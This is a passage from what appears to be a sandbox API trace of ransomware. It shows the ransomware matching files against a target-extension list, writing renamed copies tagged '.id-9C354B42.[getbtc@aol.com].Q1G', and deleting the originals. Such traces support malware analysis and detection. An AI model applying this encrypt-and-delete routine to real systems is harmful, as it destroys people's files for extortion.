lpString2=".WMF") returned -1 [0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.589] lstrlenW (lpString=".1cd") returned 4 [0262.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.589] lstrlenW (lpString=".jpg") returned 4 [0262.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.589] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.589] lstrlenW (lpString="J0152568.WMF") returned 12 [0262.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.612] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3696) returned 1 [0262.612] CloseHandle (hObject=0x3dc) returned 1 [0262.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 0x20 [0262.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.618] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.618] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.619] GetLastError () returned 0x0 [0262.619] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xe70, lpOverlapped=0x0) returned 1 [0262.620] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0262.621] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.621] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.621] SetEndOfFile (hFile=0x1bc) returned 1 [0262.622] CloseHandle (hObject=0x1bc) returned 1 [0262.622] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.622] SetEndOfFile (hFile=0x39c) returned 1 [0262.624] CloseHandle (hObject=0x39c) returned 1 [0262.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0262.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.625] lstrlenW (lpString=".doc") returned 4 [0262.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString=".docx") returned 5 [0262.625] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.625] lstrlenW (lpString=".pdf") returned 4 [0262.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString=".xls") returned 4 [0262.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.625] lstrlenW (lpString=".xlsx") returned 5 [0262.625] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.625] lstrlenW (lpString=".ppt") returned 4 [0262.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.625] lstrlenW (lpString=".zip") returned 4 [0262.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.625] lstrlenW (lpString=".rar") returned 4 [0262.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString=".bz2") returned 4 [0262.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString=".7z") returned 3 [0262.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.625] lstrlenW (lpString=".dbf") returned 4 [0262.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.625] lstrlenW (lpString=".1cd") returned 4 [0262.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.625] lstrlenW (lpString=".jpg") returned 4 [0262.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.625] lstrlenW (lpString=".doc") returned 4 [0262.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.625] lstrlenW (lpString=".docx") returned 5 [0262.625] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.626] lstrlenW (lpString=".pdf") returned 4 [0262.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.626] lstrlenW (lpString=".xls") returned 4 [0262.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.626] lstrlenW (lpString=".xlsx") returned 5 [0262.626] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.626] lstrlenW (lpString=".ppt") returned 4 [0262.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.626] lstrlenW (lpString=".zip") returned 4 [0262.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.626] lstrlenW (lpString=".rar") returned 4 [0262.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.626] lstrlenW (lpString=".bz2") returned 4 [0262.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.626] lstrlenW (lpString=".7z") returned 3 [0262.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.626] lstrlenW (lpString=".dbf") returned 4 [0262.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.626] lstrlenW (lpString=".1cd") returned 4 [0262.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0262.626] lstrlenW (lpString=".jpg") returned 4 [0262.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.626] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.626] lstrlenW (lpString="J0152594.WMF") returned 12 [0262.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.627] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6340) returned 1 [0262.627] CloseHandle (hObject=0x39c) returned 1 [0262.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 0x20 [0262.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.627] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.627] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.628] GetLastError () returned 0x0 [0262.628] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x18c4, lpOverlapped=0x0) returned 1 [0262.634] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x18d0, lpOverlapped=0x0) returned 1 [0262.635] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.635] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.635] SetEndOfFile (hFile=0x1bc) returned 1 [0262.635] CloseHandle (hObject=0x1bc) returned 1 [0262.635] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.635] SetEndOfFile (hFile=0x39c) returned 1 [0262.637] CloseHandle (hObject=0x39c) returned 1 [0262.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0262.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.638] lstrlenW (lpString=".doc") returned 4 [0262.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.638] lstrlenW (lpString=".docx") returned 5 [0262.638] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.638] lstrlenW (lpString=".pdf") returned 4 [0262.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.638] lstrlenW (lpString=".xls") returned 4 [0262.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.638] lstrlenW (lpString=".xlsx") returned 5 [0262.638] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.638] lstrlenW (lpString=".ppt") returned 4 [0262.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.638] lstrlenW (lpString=".zip") returned 4 [0262.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.638] lstrlenW (lpString=".rar") returned 4 [0262.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.638] lstrlenW (lpString=".bz2") returned 4 [0262.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.638] lstrlenW (lpString=".7z") returned 3 [0262.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.639] lstrlenW (lpString=".dbf") returned 4 [0262.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.639] lstrlenW (lpString=".1cd") returned 4 [0262.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.639] lstrlenW (lpString=".jpg") returned 4 [0262.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.639] lstrlenW (lpString=".doc") returned 4 [0262.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString=".docx") returned 5 [0262.639] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.639] lstrlenW (lpString=".pdf") returned 4 [0262.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString=".xls") returned 4 [0262.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.639] lstrlenW (lpString=".xlsx") returned 5 [0262.639] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.639] lstrlenW (lpString=".ppt") returned 4 [0262.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.639] lstrlenW (lpString=".zip") returned 4 [0262.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.639] lstrlenW (lpString=".rar") returned 4 [0262.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString=".bz2") returned 4 [0262.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.639] lstrlenW (lpString=".7z") returned 3 [0262.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.639] lstrlenW (lpString=".dbf") returned 4 [0262.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.640] lstrlenW (lpString=".1cd") returned 4 [0262.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0262.640] lstrlenW (lpString=".jpg") returned 4 [0262.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.640] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.640] lstrlenW (lpString="J0152600.WMF") returned 12 [0262.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.640] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=9768) returned 1 [0262.640] CloseHandle (hObject=0x39c) returned 1 [0262.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 0x20 [0262.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.641] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.641] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.642] GetLastError () returned 0x0 [0262.642] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2628, lpOverlapped=0x0) returned 1 [0262.848] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2630, lpOverlapped=0x0) returned 1 [0262.856] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.856] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.857] SetEndOfFile (hFile=0x1bc) returned 1 [0262.857] CloseHandle (hObject=0x1bc) returned 1 [0262.857] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.857] SetEndOfFile (hFile=0x39c) returned 1 [0262.859] CloseHandle (hObject=0x39c) returned 1 [0262.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0262.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.861] lstrlenW (lpString=".doc") returned 4 [0262.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.861] lstrlenW (lpString=".docx") returned 5 [0262.861] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.861] lstrlenW (lpString=".pdf") returned 4 [0262.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.861] lstrlenW (lpString=".xls") returned 4 [0262.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.861] lstrlenW (lpString=".xlsx") returned 5 [0262.861] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.861] lstrlenW (lpString=".ppt") returned 4 [0262.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.861] lstrlenW (lpString=".zip") returned 4 [0262.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.861] lstrlenW (lpString=".rar") returned 4 [0262.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.861] lstrlenW (lpString=".bz2") returned 4 [0262.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.861] lstrlenW (lpString=".7z") returned 3 [0262.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.862] lstrlenW (lpString=".dbf") returned 4 [0262.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.862] lstrlenW (lpString=".1cd") returned 4 [0262.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.862] lstrlenW (lpString=".jpg") returned 4 [0262.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.862] lstrlenW (lpString=".doc") returned 4 [0262.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString=".docx") returned 5 [0262.862] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.862] lstrlenW (lpString=".pdf") returned 4 [0262.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString=".xls") returned 4 [0262.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.862] lstrlenW (lpString=".xlsx") returned 5 [0262.862] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.862] lstrlenW (lpString=".ppt") returned 4 [0262.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.862] lstrlenW (lpString=".zip") returned 4 [0262.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.862] lstrlenW (lpString=".rar") returned 4 [0262.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString=".bz2") returned 4 [0262.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.862] lstrlenW (lpString=".7z") returned 3 [0262.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.862] lstrlenW (lpString=".dbf") returned 4 [0262.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.863] lstrlenW (lpString=".1cd") returned 4 [0262.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0262.863] lstrlenW (lpString=".jpg") returned 4 [0262.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.863] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.863] lstrlenW (lpString="J0152696.WMF") returned 12 [0262.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft 